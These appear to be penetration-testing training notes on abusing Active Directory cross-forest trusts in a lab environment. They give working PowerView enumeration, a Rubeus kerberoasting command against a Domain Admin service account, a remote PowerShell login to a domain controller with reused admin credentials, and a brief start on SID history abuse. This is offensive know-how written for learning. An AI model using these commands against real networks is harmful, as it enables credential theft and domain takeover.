🌲Cross-Forest Trust Abuse From Windows

Cross-Forest Kerberoasting

Kerberos attack like Kerberoasting can be performed across trusts, depending on the trust direction. If we have inbound or bidirectional trust, we may be able to perform various attacks to get a foothold.

Sometimes we can be unable to escalate our privileges in the current domain but can instead obtain a Kerberos ticket and crack a hash for an admin user in another domain that hash Domain/Enterprise admin privileges in both domains.

Enumerating Accounts for Associated SPNs with PowerView

Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName 

samaccountname
--------------
krbtgt
mssqlsvc

Enumerating a Specific Account with PowerView

If we find an account with an SPN, we can check to see if this account is a member of the Domain Admins group. If so, we can kerberoast and crack the hash offline for full admin rights on the target domain.

Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof

samaccountname memberof
-------------- --------
mssqlsvc       CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL

Perform a Kerberoasting Attack with Rubeus

We run Rubeus to kick off our kerberoasting attack with the /domain flag

.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

Admin Password Re-Use & Group Membership

When we run into a situation where there's a bidirectional forest trust, we need to see if we can take over Domain A and obtain cleartext passwords or NT hashes for the built-in or Enterprise Admins group. We also need to be aware that Domain B hash high privileged account with the same name, so we should check for password reuse across both forests.

We might also see users from Domain A as members of a group in Domain B. Only Domain Local Groups allow security principles from outside its forest.

Using Get-DomainForeignGroupMember

This will show the built-in Administrators Group in the Domain we search for.

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

Accessing DC Using Enter-PSSession

We can verify access to this using the below cmdlet. We can see below that we successfully authenticated to the DC using the Administrator account.

Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : ACADEMY-EA-DC03
   Primary Dns Suffix  . . . . . . . : FREIGHTLOGISTICS.LOCAL
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : FREIGHTLOGISTICS.LOCAL

SID History Abuse — Cross Forest

SID History can be abused across a forest trust. If a user is migrated from one forest to another and SID filtering is not enabled, then it's possible to add a SID from the other forest. This SID will be added to the user's token when authenticating across the trust.

An Example

The example below shows a user jjones being migrated from the INLANEFREIGHT.LOCAL domain to the CORP.local domain in a different forest.